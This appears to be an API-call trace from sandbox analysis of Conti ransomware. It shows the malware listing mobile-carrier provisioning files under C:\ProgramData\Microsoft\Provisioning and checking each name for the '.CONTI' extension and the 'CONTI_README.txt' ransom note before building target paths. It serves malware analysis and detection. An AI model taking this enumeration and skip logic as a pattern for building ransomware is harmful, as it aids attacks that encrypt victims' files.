	[0109.504] lstrcpyW (in: lpString1=0x1808a88, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime"
	[0109.504] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\"
	[0109.504] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\", lpString2="451__Connections_Cellular_Turkcell (Turkey)_i0$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\451__Connections_Cellular_Turkcell (Turkey)_i0$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\451__Connections_Cellular_Turkcell (Turkey)_i0$(__MVID)@WAP.provxml"
	[0109.504] FindNextFileW (in: hFindFile=0x17c8470, lpFindFileData=0x5c3ec80 | out: lpFindFileData=0x5c3ec80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9104a28e, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x9104a28e, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x9104a28e, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x2c8, dwReserved0=0x5c3ef1c, dwReserved1=0xb6884, cFileName="452__Connections_Cellular_Turkcell (Turkey)_i1$(__MVID)@WAP.provxml", cAlternateFileName="452__C~1.PRO")) returned 1
	[0109.504] lstrcmpiW (lpString1="452__Connections_Cellular_Turkcell (Turkey)_i1$(__MVID)@WAP.provxml", lpString2=".") returned 1
	[0109.504] lstrcmpiW (lpString1="452__Connections_Cellular_Turkcell (Turkey)_i1$(__MVID)@WAP.provxml", lpString2="..") returned 1
	[0109.504] StrStrIW (lpFirst="452__Connections_Cellular_Turkcell (Turkey)_i1$(__MVID)@WAP.provxml", lpSrch=".CONTI") returned 0x0
	[0109.504] StrStrIW (lpFirst="452__Connections_Cellular_Turkcell (Turkey)_i1$(__MVID)@WAP.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0109.504] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned 89
	[0109.504] lstrlenW (lpString="452__Connections_Cellular_Turkcell (Turkey)_i1$(__MVID)@WAP.provxml") returned 67
	[0109.504] GetProcessHeap () returned 0x1720000
	[0109.504] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x13c) returned 0x1808bd0
	[0109.504] lstrcpyW (in: lpString1=0x1808bd0, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime"
	[0109.504] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\"
	[0109.504] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\", lpString2="452__Connections_Cellular_Turkcell (Turkey)_i1$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\452__Connections_Cellular_Turkcell (Turkey)_i1$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\452__Connections_Cellular_Turkcell (Turkey)_i1$(__MVID)@WAP.provxml"
	[0109.504] FindNextFileW (in: hFindFile=0x17c8470, lpFindFileData=0x5c3ec80 | out: lpFindFileData=0x5c3ec80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x910704f6, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x910704f6, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x910704f6, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x2cb, dwReserved0=0x5c3ef1c, dwReserved1=0xb6884, cFileName="453__Connections_Cellular_Turkcell (Turkey)_i2$(__MVID)@WAP.provxml", cAlternateFileName="453__C~1.PRO")) returned 1
	[0109.504] lstrcmpiW (lpString1="453__Connections_Cellular_Turkcell (Turkey)_i2$(__MVID)@WAP.provxml", lpString2=".") returned 1
	[0109.504] lstrcmpiW (lpString1="453__Connections_Cellular_Turkcell (Turkey)_i2$(__MVID)@WAP.provxml", lpString2="..") returned 1
	[0109.504] StrStrIW (lpFirst="453__Connections_Cellular_Turkcell (Turkey)_i2$(__MVID)@WAP.provxml", lpSrch=".CONTI") returned 0x0
	[0109.504] StrStrIW (lpFirst="453__Connections_Cellular_Turkcell (Turkey)_i2$(__MVID)@WAP.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0109.504] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned 89
	[0109.504] lstrlenW (lpString="453__Connections_Cellular_Turkcell (Turkey)_i2$(__MVID)@WAP.provxml") returned 67
	[0109.504] GetProcessHeap () returned 0x1720000
	[0109.504] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x13c) returned 0x1806fa0
	[0109.504] lstrcpyW (in: lpString1=0x1806fa0, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime"
	[0109.504] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\"
	[0109.504] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\", lpString2="453__Connections_Cellular_Turkcell (Turkey)_i2$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\453__Connections_Cellular_Turkcell (Turkey)_i2$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\453__Connections_Cellular_Turkcell (Turkey)_i2$(__MVID)@WAP.provxml"
	[0109.505] FindNextFileW (in: hFindFile=0x17c8470, lpFindFileData=0x5c3ec80 | out: lpFindFileData=0x5c3ec80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x910704f6, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x910704f6, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x910704f6, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x34e, dwReserved0=0x5c3ef1c, dwReserved1=0xb6884, cFileName="454__Connections_Cellular_Vodafone TR (Turkey)_i0$(__MVID)@WAP.provxml", cAlternateFileName="454__C~1.PRO")) returned 1
	[0109.507] lstrcmpiW (lpString1="454__Connections_Cellular_Vodafone TR (Turkey)_i0$(__MVID)@WAP.provxml", lpString2=".") returned 1
	[0109.507] lstrcmpiW (lpString1="454__Connections_Cellular_Vodafone TR (Turkey)_i0$(__MVID)@WAP.provxml", lpString2="..") returned 1
	[0109.507] StrStrIW (lpFirst="454__Connections_Cellular_Vodafone TR (Turkey)_i0$(__MVID)@WAP.provxml", lpSrch=".CONTI") returned 0x0
	[0109.507] StrStrIW (lpFirst="454__Connections_Cellular_Vodafone TR (Turkey)_i0$(__MVID)@WAP.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0109.507] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned 89
	[0109.507] lstrlenW (lpString="454__Connections_Cellular_Vodafone TR (Turkey)_i0$(__MVID)@WAP.provxml") returned 70
	[0109.507] GetProcessHeap () returned 0x1720000
	[0109.507] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x142) returned 0x17d0e60
	[0109.507] lstrcpyW (in: lpString1=0x17d0e60, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime"
	[0109.507] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\"
	[0109.507] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\", lpString2="454__Connections_Cellular_Vodafone TR (Turkey)_i0$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\454__Connections_Cellular_Vodafone TR (Turkey)_i0$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\454__Connections_Cellular_Vodafone TR (Turkey)_i0$(__MVID)@WAP.provxml"
	[0109.507] FindNextFileW (in: hFindFile=0x17c8470, lpFindFileData=0x5c3ec80 | out: lpFindFileData=0x5c3ec80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x910704f6, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x910704f6, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x910704f6, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x1e0, dwReserved0=0x5c3ef1c, dwReserved1=0xb6884, cFileName="455__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml", cAlternateFileName="455__C~1.PRO")) returned 1
	[0109.507] lstrcmpiW (lpString1="455__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml", lpString2=".") returned 1
	[0109.507] lstrcmpiW (lpString1="455__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml", lpString2="..") returned 1
	[0109.507] StrStrIW (lpFirst="455__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml", lpSrch=".CONTI") returned 0x0
	[0109.507] StrStrIW (lpFirst="455__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0109.507] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned 89
	[0109.507] lstrlenW (lpString="455__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml") returned 53
	[0109.507] GetProcessHeap () returned 0x1720000
	[0109.507] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x120) returned 0x6b80be8
	[0109.507] lstrcpyW (in: lpString1=0x6b80be8, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime"
	[0109.507] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\"
	[0109.507] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\", lpString2="455__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\455__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\455__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml"
	[0109.507] FindNextFileW (in: hFindFile=0x17c8470, lpFindFileData=0x5c3ec80 | out: lpFindFileData=0x5c3ec80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x910704f6, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x910704f6, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x910704f6, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x2d9, dwReserved0=0x5c3ef1c, dwReserved1=0xb6884, cFileName="456__Connections_Cellular_VF KKTC Telsim (Cyprus)_i0$(__MVID)@WAP.provxml", cAlternateFileName="456__C~1.PRO")) returned 1
	[0109.507] lstrcmpiW (lpString1="456__Connections_Cellular_VF KKTC Telsim (Cyprus)_i0$(__MVID)@WAP.provxml", lpString2=".") returned 1
	[0109.507] lstrcmpiW (lpString1="456__Connections_Cellular_VF KKTC Telsim (Cyprus)_i0$(__MVID)@WAP.provxml", lpString2="..") returned 1
	[0109.507] StrStrIW (lpFirst="456__Connections_Cellular_VF KKTC Telsim (Cyprus)_i0$(__MVID)@WAP.provxml", lpSrch=".CONTI") returned 0x0
	[0109.508] StrStrIW (lpFirst="456__Connections_Cellular_VF KKTC Telsim (Cyprus)_i0$(__MVID)@WAP.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0109.508] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned 89
	[0109.508] lstrlenW (lpString="456__Connections_Cellular_VF KKTC Telsim (Cyprus)_i0$(__MVID)@WAP.provxml") returned 73
	[0109.508] GetProcessHeap () returned 0x1720000
	[0109.508] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x148) returned 0x17d1268
	[0109.508] lstrcpyW (in: lpString1=0x17d1268, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime"
	[0109.508] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\"
	[0109.508] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\", lpString2="456__Connections_Cellular_VF KKTC Telsim (Cyprus)_i0$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\456__Connections_Cellular_VF KKTC Telsim (Cyprus)_i0$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\456__Connections_Cellular_VF KKTC Telsim (Cyprus)_i0$(__MVID)@WAP.provxml"
	[0109.508] FindNextFileW (in: hFindFile=0x17c8470, lpFindFileData=0x5c3ec80 | out: lpFindFileData=0x5c3ec80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x910704f6, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x910704f6, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x910704f6, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x1e0, dwReserved0=0x5c3ef1c, dwReserved1=0xb6884, cFileName="457__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml", cAlternateFileName="457__C~1.PRO")) returned 1
	[0109.508] lstrcmpiW (lpString1="457__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml", lpString2=".") returned 1
	[0109.508] lstrcmpiW (lpString1="457__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml", lpString2="..") returned 1
	[0109.508] StrStrIW (lpFirst="457__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml", lpSrch=".CONTI") returned 0x0
	[0109.508] StrStrIW (lpFirst="457__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0109.508] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned 89
	[0109.508] lstrlenW (lpString="457__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml") returned 53
	[0109.508] GetProcessHeap () returned 0x1720000
	[0109.508] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x120) returned 0x6b812d8
	[0109.508] lstrcpyW (in: lpString1=0x6b812d8, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime"
	[0109.508] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\"
	[0109.508] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\", lpString2="457__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\457__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\457__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml"
	[0109.508] FindNextFileW (in: hFindFile=0x17c8470, lpFindFileData=0x5c3ec80 | out: lpFindFileData=0x5c3ec80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x91096761, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x91096761, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x91096761, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x2d6, dwReserved0=0x5c3ef1c, dwReserved1=0xb6884, cFileName="458__Connections_Cellular_Kyivstar (Ukraine)_i0$(__MVID)@WAP.provxml", cAlternateFileName="458__C~1.PRO")) returned 1
	[0109.508] lstrcmpiW (lpString1="458__Connections_Cellular_Kyivstar (Ukraine)_i0$(__MVID)@WAP.provxml", lpString2=".") returned 1
	[0109.508] lstrcmpiW (lpString1="458__Connections_Cellular_Kyivstar (Ukraine)_i0$(__MVID)@WAP.provxml", lpString2="..") returned 1
	[0109.508] StrStrIW (lpFirst="458__Connections_Cellular_Kyivstar (Ukraine)_i0$(__MVID)@WAP.provxml", lpSrch=".CONTI") returned 0x0
	[0109.508] StrStrIW (lpFirst="458__Connections_Cellular_Kyivstar (Ukraine)_i0$(__MVID)@WAP.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0109.508] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned 89
	[0109.508] lstrlenW (lpString="458__Connections_Cellular_Kyivstar (Ukraine)_i0$(__MVID)@WAP.provxml") returned 68
	[0109.508] GetProcessHeap () returned 0x1720000
	[0109.508] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x13e) returned 0x1807378
	[0109.509] lstrcpyW (in: lpString1=0x1807378, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime"
	[0109.509] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\"
	[0109.509] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\", lpString2="458__Connections_Cellular_Kyivstar (Ukraine)_i0$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\458__Connections_Cellular_Kyivstar (Ukraine)_i0$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\458__Connections_Cellular_Kyivstar (Ukraine)_i0$(__MVID)@WAP.provxml"
	[0109.509] FindNextFileW (in: hFindFile=0x17c8470, lpFindFileData=0x5c3ec80 | out: lpFindFileData=0x5c3ec80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x91096761, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x91096761, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x91096761, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x2d4, dwReserved0=0x5c3ef1c, dwReserved1=0xb6884, cFileName="459__Connections_Cellular_Kyivstar (Ukraine)_i1$(__MVID)@WAP.provxml", cAlternateFileName="459__C~1.PRO")) returned 1
	[0109.509] lstrcmpiW (lpString1="459__Connections_Cellular_Kyivstar (Ukraine)_i1$(__MVID)@WAP.provxml", lpString2=".") returned 1
	[0109.509] lstrcmpiW (lpString1="459__Connections_Cellular_Kyivstar (Ukraine)_i1$(__MVID)@WAP.provxml", lpString2="..") returned 1
	[0109.509] StrStrIW (lpFirst="459__Connections_Cellular_Kyivstar (Ukraine)_i1$(__MVID)@WAP.provxml", lpSrch=".CONTI") returned 0x0
	[0109.509] StrStrIW (lpFirst="459__Connections_Cellular_Kyivstar (Ukraine)_i1$(__MVID)@WAP.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0109.509] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned 89
	[0109.509] lstrlenW (lpString="459__Connections_Cellular_Kyivstar (Ukraine)_i1$(__MVID)@WAP.provxml") returned 68
	[0109.509] GetProcessHeap () returned 0x1720000
	[0109.509] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x13e) returned 0x17d7390
	[0109.509] lstrcpyW (in: lpString1=0x17d7390, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime"
	[0109.509] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\"
	[0109.509] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\", lpString2="459__Connections_Cellular_Kyivstar (Ukraine)_i1$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\459__Connections_Cellular_Kyivstar (Ukraine)_i1$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\459__Connections_Cellular_Kyivstar (Ukraine)_i1$(__MVID)@WAP.provxml"
